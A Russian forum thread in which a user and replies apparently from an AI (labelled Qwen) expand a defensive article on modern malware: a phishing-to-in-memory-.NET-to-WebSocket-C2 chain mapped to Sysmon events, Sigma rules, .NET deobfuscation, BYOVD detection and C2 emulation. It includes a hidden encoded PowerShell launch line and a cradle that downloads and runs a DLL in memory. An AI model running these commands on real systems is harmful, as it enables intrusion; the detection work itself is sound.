Разработка вредоносного ПО в 2026 году как предмет защитного исследования: техники, детект и безопасная лаборатория

zer0coder · Вчера в 20:34

Статья получилось стремная.
Нет не новых техник 2026 года, ничего интересного по сути...

Qwen · Вчера в 20:35

Справедливое замечание. Текст действительно описывает классику PE-инфекции и базовую лабораторию — это уровень 2015–2018 годов. Для 2026 года актуальны совсем другие векторы, и если цель — защитное исследование, то фокус должен сместиться на то, что реально используют сейчас.

Что действительно изменилось к 2026 году:

LOLBin-цепочки и fileless-атаки. Классическая PE-инфекция почти мертва как массовый вектор. Современные кампании строятся на цепочках из легитимных системных утилит: mshta, rundll32, regsvr32, wmic, certutil, ssh. Детект таких цепочек — это не статический анализ PE, а корреляция событий процесса с родительским процессом, аргументами командной строки и сетевыми соединениями.
Supply chain и подпись кода. Атаки на CI/CD пайплайны, компрометация npm/PyPI/GitHub Actions, кража сертификатов подписи. Образец может быть подписан валидным сертификатом, украденным у легитимного разработчика. Статический анализ подписи — обязательный шаг, но доверять ей нельзя.
Обход EDR через kernel-level техники. Речь не о драйверах с подписью Microsoft (это уже закрыто), а об использовании легитимных драйверов с уязвимостями (BYOVD — Bring Your Own Vulnerable Driver). Например, старые версии драйверов для мониторинга, которые дают привилегированный доступ к памяти ядра. Детект — проверка загруженных драйверов на известные уязвимые хеши.
Обфускация на уровне .NET. Современные пейлоады часто пишутся на C# и обфусцируются инструментами вроде ConfuserEx, Obfuscar, или кастомными протекторами. Статический анализ .NET-сборок требует декомпиляции (dnSpy, ILSpy) и понимания, как протектор восстанавливает вызовы в рантайме.
C2-протоколы. HTTP-бекдоры с простым JSON — прошлый век. Сейчас: DNS-over-HTTPS, WebSocket, QUIC, скрытые каналы через легитимные сервисы (Telegram, Discord, Slack, Notion). Детект — не по сигнатуре трафика, а по поведенческим аномалиям: регулярные обращения к API легитимных сервисов в нерабочее время, нестандартные размеры запросов.
AI-assisted генерация. Использование LLM для генерации уникальных вариантов пейлоадов, которые не совпадают с существующими сигнатурами. Это меняет подход к детекту: статические сигнатуры становятся менее ценными, поведенческий анализ и машинное обучение на телеметрии — более.

Что стоило бы добавить в статью:

Разбор конкретной современной цепочки: например, фишинг → загрузка .lnk → PowerShell → загрузка .NET-сборки в память → C2 через WebSocket. С указанием, какие события в Sysmon и EDR соответствуют каждому шагу.
Пример Sigma-правила для детекта подозрительной родительско-дочерней цепочки процессов, а не просто сигнатуры на файл.
Раздел про анализ .NET-сборок: декомпиляция, восстановление строк, обход простых протекторов.
Раздел про BYOVD: как проверить, загружает ли образец уязвимый драйвер, и как детектировать это в логах загрузки драйверов.
Практика работы с INetSim для эмуляции не только HTTP/DNS, но и WebSocket, чтобы наблюдать современные C2-протоколы.

Если цель — действительно актуальный защитный материал, лучше переработать статью с фокусом на fileless-атаки, .NET и обход EDR, а PE-инфекцию оставить как исторический контекст.

zer0coder · Вчера в 20:36

Сгенерируй такую статью...

Что стоило бы добавить в статью:

Разбор конкретной современной цепочки: например, фишинг → загрузка .lnk → PowerShell → загрузка .NET-сборки в память → C2 через WebSocket. С указанием, какие события в Sysmon и EDR соответствуют каждому шагу.
Пример Sigma-правила для детекта подозрительной родительско-дочерней цепочки процессов, а не просто сигнатуры на файл.
Раздел про анализ .NET-сборок: декомпиляция, восстановление строк, обход простых протекторов.
Раздел про BYOVD: как проверить, загружает ли образец уязвимый драйвер, и как детектировать это в логах загрузки драйверов.
Практика работы с INetSim для эмуляции не только HTTP/DNS, но и WebSocket, чтобы наблюдать современные C2-протоколы.

Qwen · Вчера в 20:38

Расширение статьи: практические разделы для защитного исследования

Ниже — конкретные дополнения, которые закрывают перечисленные пробелы. Всё, что описано, предназначено для изолированной лаборатории и авторизованного анализа.

────────────────────

1. Разбор современной цепочки: фишинг → .lnk → PowerShell → .NET в памяти → C2 через WebSocket

Цепочка типична для 2025–2026 годов. Каждый шаг оставляет следы, которые видят Sysmon и EDR. Ниже — пошаговый разбор с указанием конкретных событий и полей.

Шаг 1: Фишинг (доставка .lnk)

Пользователь получает письмо с вложением invoice.lnk или ссылкой на скачивание.
Файл .lnk — это OLE-структура Shell Link (LNK), содержит путь к целевой команде и аргументы.

Артефакты:

Sysmon Event ID 1 (ProcessCreate) — если .lnk запускается через cmd.exe или powershell.exe, видна родительско-дочерняя связь.
Sysmon Event ID 15 (FileCreateStreamHash) — если .lnk использует Zone.Identifier (Mark-of-the-Web).
EDR: телеметрия файла — низкая репутация, подпись отсутствует, имя аномальное (invoice.lnk, scan_2026.pdf.lnk).

Пример команды в .lnk:

Код:

powershell.exe -NoP -STA -EP Bypass -W Hidden -Enc <base64>

Шаг 2: PowerShell — загрузка .NET-сборки в память

PowerShell выполняет закодированную команду, которая скачивает .NET-сборку (например, через System.Net.WebClient или System.Net.Http.HttpClient) и загружает её в память через Assembly.Load(byte[]).
Часто используется Reflection.Assembly.Load с последующим вызовом метода через Unwrap().

Артефакты:

Sysmon Event ID 1: процесс powershell.exe с родителем explorer.exe или outlook.exe, командная строка содержит -EncodedCommand, -W Hidden, -EP Bypass.
Sysmon Event ID 3 (NetworkConnect): исходящее соединение на порт 443 или 80 к домену, который не числится в корпоративном DNS.
Sysmon Event ID 10 (ProcessAccess): если сборка делает инъекцию в другой процесс — доступ к lsass.exe или svchost.exe.
EDR: поведенческое правило — PowerShell запускает Assembly.Load с массивом байт, полученным из сети.

Пример команды (для лаборатории):

Код:

$wc = New-Object System.Net.WebClient
$bytes = $wc.DownloadData('http://TARGET_IP/payload.dll')
$asm = [System.Reflection.Assembly]::Load($bytes)
$asm.EntryPoint.Invoke($null, @([object[]]@()))

Шаг 3: .NET-сборка в памяти — C2 через WebSocket

Сборка устанавливает WebSocket-соединение (например, ClientWebSocket) к C2-серверу.
Трафик идёт через ws:// или wss://, часто маскируется под легитимный WebSocket (например, /chat, /api/v1/stream).

Артефакты:

Sysmon Event ID 3: соединение на порт 80/443, но с нестандартным HTTP Upgrade: Upgrade: websocket.
Sysmon Event ID 22 (DNSQuery): запрос к домену C2, часто с низким TTL или динамическим DNS.
EDR: детект на основе комбинации — процесс powershell.exe (или rundll32.exe) держит долгоживущее WebSocket-соединение, при этом нет легитимного браузера.

Маппинг на MITRE ATT&CK:

T1566.001 — Phishing: Spearphishing Attachment (.lnk)
T1204.001 — User Execution: Malicious Link
T1059.001 — PowerShell
T1055 — Process Injection (если сборка инжектит в другой процесс)
T1071.001 — Application Layer Protocol: Web Protocols (WebSocket)
T1102 — Web Service (если C2 использует легитимные сервисы)

────────────────────

2. Пример Sigma-правила для детекта подозрительной родительско-дочерней цепочки

Sigma-правило ниже детектирует запуск powershell.exe из офисного приложения или проводника с признаками скрытого выполнения и последующей загрузки в память. Это поведенческое правило, а не сигнатура на файл.

YAML:

title: Suspicious PowerShell Parent-Child Chain (Office/Explorer -> PowerShell)
id: 7f4a2c9e-3b1d-4f6a-8c2e-9d1b3a5f7c4e
status: experimental
description: Detects PowerShell launched from Office apps or Explorer with hidden window and encoded command, often used for in-memory .NET loading.
references:
    - https://attack.mitre.org/techniques/T1059/001/
    - https://attack.mitre.org/techniques/T1204/001/
author: zer0kernel
date: 2026/01/15
logsource:
    product: windows
    category: process_creation
detection:
    selection_parent:
        ParentImage|endswith:
            - '\explorer.exe'
            - '\outlook.exe'
            - '\winword.exe'
            - '\excel.exe'
            - '\powerpnt.exe'
    selection_powershell:
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - '-NoP'
            - '-EP'
            - 'Bypass'
            - '-W'
            - 'Hidden'
    selection_encoded:
        CommandLine|contains:
            - '-EncodedCommand'
            - '-enc'
            - '-e '
    condition: selection_parent and selection_powershell and selection_encoded
falsepositives:
    - Legitimate administrative scripts launched from Explorer with hidden window (rare)
    - Office macros that use PowerShell for automation (should be investigated)
level: high
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1204.001

Пояснение:

Правило ловит именно цепочку: офисное приложение или проводник → PowerShell со скрытым окном и закодированной командой.
Для снижения ложных срабатываний можно добавить условие на отсутствие подписи файла или на аномальный родительский процесс (например, ParentImage не из C:\Windows\System32\WindowsPowerShell\v1.0\).

────────────────────

3. Анализ .NET-сборок: декомпиляция, восстановление строк, обход простых протекторов

Инструменты

dnSpy — декомпилятор и отладчик .NET (поддерживает .NET Framework и .NET Core).
ILSpy — открытый декомпилятор, интеграция с Visual Studio.
dotPeek — бесплатный декомпилятор от JetBrains.
de4dot — деобфускатор для .NET (снимает ConfuserEx, SmartAssembly, Dotfuscator в простых конфигурациях).
dnlib — библиотека для манипуляции .NET-сборками (полезна для автоматизации).

Базовый порядок анализа

Определить тип сборки — .NET Framework или .NET Core. Для этого смотрим заголовок CLR (Cor20 header) в PE-файле. Инструменты: dotnet --info, corflags.exe (из Windows SDK).
Декомпиляция — открыть сборку в dnSpy или ILSpy. Если код читается — сразу переходим к анализу логики.
Восстановление строк — если строки зашифрованы, ищем в коде вызовы String.FromBase64String, XOR-циклы, RijndaelManaged или AesCryptoServiceProvider. В dnSpy можно поставить брейкпоинт на метод дешифровки и посмотреть результат в рантайме.
Обход простых протекторов:
- ConfuserEx — использует контроль потока, строковое шифрование, анти-отладку. Для снятия: de4dot -r assembly.dll (режим -r — рекурсивно).
- SmartAssembly — часто оставляет открытые строки в ресурсах. Ищем ресурсы с именами типа Strings, Resources.
- Dotfuscator — если используется только обфускация имён, декомпиляция всё равно даёт читаемый код, но имена методов становятся нечитаемыми. Для восстановления — ручной анализ или использование de4dot с флагом --un-name.
Анализ ресурсов — сборка может содержать встроенные ресурсы (например, зашифрованный payload). В dnSpy: Resources → сохранить файл, затем проанализировать отдельно.

Пример: поиск зашифрованных строк в dnSpy

C#:

// Типичный паттерн дешифровки
private static string Decrypt(string data, string key)
{
    byte[] bytes = Convert.FromBase64String(data);
    using (Aes aes = Aes.Create())
    {
        aes.Key = Encoding.UTF8.GetBytes(key);
        aes.IV = new byte[16];
        ICryptoTransform decryptor = aes.CreateDecryptor();
        byte[] result = decryptor.TransformFinalBlock(bytes, 0, bytes.Length);
        return Encoding.UTF8.GetString(result);
    }
}

В dnSpy ставим брейкпоинт на Decrypt, запускаем сборку в отладчике (F5), смотрим возвращаемое значение — это и есть расшифрованная строка.

────────────────────

4. BYOVD: проверка загрузки уязвимого драйвера и детект в логах

BYOVD (Bring Your Own Vulnerable Driver) — техника, при которой образец загружает легитимный, но уязвимый драйвер для получения привилегий ядра или отключения защиты.

Как проверить, загружает ли образец уязвимый драйвер

Статически — ищем в образце строки с именами драйверов (например, RTCore64.sys, dbk64.sys, PROCEXP152.sys). Используем strings или YARA.
Динамически — в лаборатории с включённым логированием загрузки драйверов:
- Включить аудит загрузки драйверов в Windows:
  Код:
```
auditpol /set /subcategory:"Kernel Plug and Play" /success:enable /failure:enable
```
- Использовать Sysmon Event ID 6 (DriverLoad) — он логирует загрузку драйверов с указанием пути и хеша.
Проверка подписи — уязвимые драйверы часто подписаны валидным сертификатом (Microsoft WHQL или сторонним). Проверяем через sigcheck (Sysinternals):
Код:
```
sigcheck -a C:\Windows\System32\drivers\RTCore64.sys
```

Детект в логах

Sysmon Event ID 6 — поле ImageLoaded содержит путь к драйверу. Если имя драйвера в списке известных уязвимых — срабатывает правило.
Windows Event Log — Event ID 219 (Kernel-PnP) в журнале Microsoft-Windows-Kernel-PnP/Configuration.
EDR — телеметрия загрузки драйверов, сравнение с базой известных уязвимых драйверов (например, loldrivers.io).

Пример Sigma-правила для детекта BYOVD:

YAML:

title: BYOVD - Load of Known Vulnerable Driver
id: 3f8b2d1a-9c4e-4f7a-8b2c-1d5e6f7a8b9c
status: experimental
description: Detects loading of known vulnerable drivers commonly abused in BYOVD attacks.
references:
    - https://www.loldrivers.io/
    - https://attack.mitre.org/techniques/T1068/
author: zer0kernel
date: 2026/01/15
logsource:
    product: windows
    category: driver_load
detection:
    selection:
        ImageLoaded|endswith:
            - '\RTCore64.sys'
            - '\dbk64.sys'
            - '\PROCEXP152.sys'
            - '\dbutil_2_3.sys'
            - '\gdrv.sys'
    condition: selection
falsepositives:
    - Legitimate use of these drivers by security tools (e.g., Process Explorer, certain AVs)
level: high
tags:
    - attack.privilege_escalation
    - attack.t1068

Важно: в лаборатории перед тестом BYOVD убедитесь, что тестовая ВМ не подключена к корпоративной сети, а сам драйвер получен из официального источника (например, из установочного пакета легитимного ПО).

────────────────────

5. Практика работы с INetSim: эмуляция WebSocket для наблюдения C2

INetSim по умолчанию эмулирует HTTP, DNS, SMTP, но не WebSocket. Однако WebSocket-трафик можно перехватить двумя способами:

Способ 1: Эмуляция HTTP Upgrade через INetSim + прокси

INetSim не поддерживает WebSocket напрямую, но если образец использует ws:// (не wss://), трафик идёт как обычный HTTP-запрос с заголовком Upgrade: websocket. INetSim может ответить на такой запрос, но не будет поддерживать сам протокол.

Для наблюдения за WebSocket-трафиком:

Настроить INetSim на перехват всех TCP-соединений на порт 80.
Использовать прокси-перехватчик (например, mitmproxy или Burp Suite) между INetSim и анализатором.
В mitmproxy включить поддержку WebSocket:
Bash:
```
mitmproxy --mode regular --listen-port 8080 --set websocket=true
```
Направить трафик ВМ на прокси через переменные окружения или настройки системы.

Способ 2: Отдельный WebSocket-эмулятор

Для полноценной эмуляции C2 через WebSocket можно написать простой сервер на Python (библиотека websockets):

Python:

#!/usr/bin/env python3
import asyncio
import websockets

async def handle(websocket, path):
    print(f"[+] Connection from {websocket.remote_address}")
    try:
        async for message in websocket:
            print(f"[+] Received: {message}")
            # Логируем и отвечаем, имитируя C2
            response = "OK"
            await websocket.send(response)
    except websockets.exceptions.ConnectionClosed:
        print("[!] Connection closed")

async def main():
    async with websockets.serve(handle, "0.0.0.0", 8080):
        print("[*] WebSocket C2 emulator listening on ws://0.0.0.0:8080")
        await asyncio.Future()  # run forever

if __name__ == "__main__":
    asyncio.run(main())

Запуск:

Bash:

pip install websockets
python3 ws_c2_emulator.py

Настройка INetSim для перехвата DNS и HTTP

Конфигурация /etc/inetsim/inetsim.conf:

Код:

# Перехватывать все DNS-запросы
dns_bind_address 0.0.0.0
dns_default_ip TARGET_IP

# Эмулировать HTTP
http_bind_address 0.0.0.0
http_port 80

# Логировать всё
log_level 3
log_dir /var/log/inetsim

После запуска INetSim все DNS-запросы из ВМ будут резолвиться в TARGET_IP, а HTTP-трафик — перехватываться. Для WebSocket-трафика используем прокси или отдельный эмулятор.

Наблюдение:

В логах INetSim (/var/log/inetsim/http.log) видны HTTP-запросы, включая заголовок Upgrade: websocket.
В логах прокси (mitmproxy) — полный WebSocket-трафик с сообщениями.
В Sysmon Event ID 3 — сетевые соединения на порт 8080 (если эмулятор слушает на этом порту).

────────────────────

Итоговая структура дополненной статьи

Введение: почему защитное исследование требует понимания техник.
Разбор цепочки фишинг → .lnk → PowerShell → .NET → WebSocket C2 (с маппингом на Sysmon/EDR).
Sigma-правила для поведенческого детекта (цепочки процессов, BYOVD).
Анализ .NET-сборок: инструменты, декомпиляция, обход протекторов.
BYOVD: проверка загрузки драйвера, детект в логах.
INetSim и эмуляция WebSocket для наблюдения C2.
Организация безопасной лаборатории (снапшоты, изоляция, логирование).
Проверка результата: классификация по ATT&CK, IoC, YARA/Sigma, отчёт.

Каждый раздел должен содержать конкретные команды, примеры правил и указание, какие артефакты искать. Это превращает статью из теоретической в практическое руководство для защитного аналитика.

Приём	Что делает	Что детектировать
Строковое шифрование	Строки в бинарнике зашифрованы, расшифровываются в рантайме	Паттерны дешифровки, энтропия секций
Обфускация объектных файлов	Трансформация .obj перед линковкой через внешний инструмент	Аномалии в структуре секций, нестандартные имена символов
Упаковка (packing)	Исполняемый файл сжат/зашифрован, распаковывается в рантайме	Высокая энтропия, малый размер кода в секциях
Anti-debugging	Проверка отладчика, тайминг-атаки	Вызовы IsDebuggerPresent, NtQueryInformationProcess

Задача	Инструменты
Статический анализ PE	PE-bear, CFF Explorer, Ghidra, IDA Free
Динамический анализ	x64dbg, Process Monitor, API Monitor
Сетевой анализ	Wireshark, FakeNet-NG, INetSim
Автоматизация	CAPE Sandbox, Cuckoo (self-hosted)
Детект-правила	YARA, Sigma, Snort/Suricata

📡 Наши контакты

Разработка вредоносного ПО в 2026 году как предмет защитного исследования: техники, детект и безопасная лаборатория

Почему защитное исследование требует понимания техник разработки вредоносного ПО

Основные техники, применяемые при создании вредоносных образцов

Инфекция исполняемых файлов (PE-инфекция)

Shell-код и полезная нагрузка

Обфускация и антидетект

Структура исследовательского проекта

Детект: что искать в образцах

Статический анализ

Поведенческий анализ

Сигнатуры на основе MITRE ATT&CK

Организация безопасной лаборатории

Изоляция на уровне виртуализации

Инструментарий

Сетевая изоляция: практическая схема

Типичные ошибки при организации лаборатории

Проверка результата исследования

Правовые и этические границы

Источники

zer0coder

Qwen

zer0coder

Qwen

Расширение статьи: практические разделы для защитного исследования

1. Разбор современной цепочки: фишинг → .lnk → PowerShell → .NET в памяти → C2 через WebSocket

2. Пример Sigma-правила для детекта подозрительной родительско-дочерней цепочки

3. Анализ .NET-сборок: декомпиляция, восстановление строк, обход простых протекторов

4. BYOVD: проверка загрузки уязвимого драйвера и детект в логах

5. Практика работы с INetSim: эмуляция WebSocket для наблюдения C2

Итоговая структура дополненной статьи

📡 Наши контакты

Разработка вредоносного ПО в 2026 году как предмет защитного исследования: техники, детект и безопасная лаборатория

Почему защитное исследование требует понимания техник разработки вредоносного ПО​

Основные техники, применяемые при создании вредоносных образцов​

Инфекция исполняемых файлов (PE-инфекция)​

Shell-код и полезная нагрузка​

Обфускация и антидетект​

Структура исследовательского проекта​

Детект: что искать в образцах​

Статический анализ​

Поведенческий анализ​

Сигнатуры на основе MITRE ATT&CK​

Организация безопасной лаборатории​

Изоляция на уровне виртуализации​

Инструментарий​

Сетевая изоляция: практическая схема​

Типичные ошибки при организации лаборатории​

Проверка результата исследования​

Правовые и этические границы​

Источники​

zer0coder

Qwen

zer0coder

Qwen

Расширение статьи: практические разделы для защитного исследования​

1. Разбор современной цепочки: фишинг → .lnk → PowerShell → .NET в памяти → C2 через WebSocket​

2. Пример Sigma-правила для детекта подозрительной родительско-дочерней цепочки​

3. Анализ .NET-сборок: декомпиляция, восстановление строк, обход простых протекторов​

4. BYOVD: проверка загрузки уязвимого драйвера и детект в логах​

5. Практика работы с INetSim: эмуляция WebSocket для наблюдения C2​

Итоговая структура дополненной статьи​

Почему защитное исследование требует понимания техник разработки вредоносного ПО

Основные техники, применяемые при создании вредоносных образцов

Инфекция исполняемых файлов (PE-инфекция)

Shell-код и полезная нагрузка

Обфускация и антидетект

Структура исследовательского проекта

Детект: что искать в образцах

Статический анализ

Поведенческий анализ

Сигнатуры на основе MITRE ATT&CK

Организация безопасной лаборатории

Изоляция на уровне виртуализации

Инструментарий

Сетевая изоляция: практическая схема

Типичные ошибки при организации лаборатории

Проверка результата исследования

Правовые и этические границы

Источники

Расширение статьи: практические разделы для защитного исследования

1. Разбор современной цепочки: фишинг → .lnk → PowerShell → .NET в памяти → C2 через WebSocket

2. Пример Sigma-правила для детекта подозрительной родительско-дочерней цепочки

3. Анализ .NET-сборок: декомпиляция, восстановление строк, обход простых протекторов

4. BYOVD: проверка загрузки уязвимого драйвера и детект в логах

5. Практика работы с INetSim: эмуляция WebSocket для наблюдения C2

Итоговая структура дополненной статьи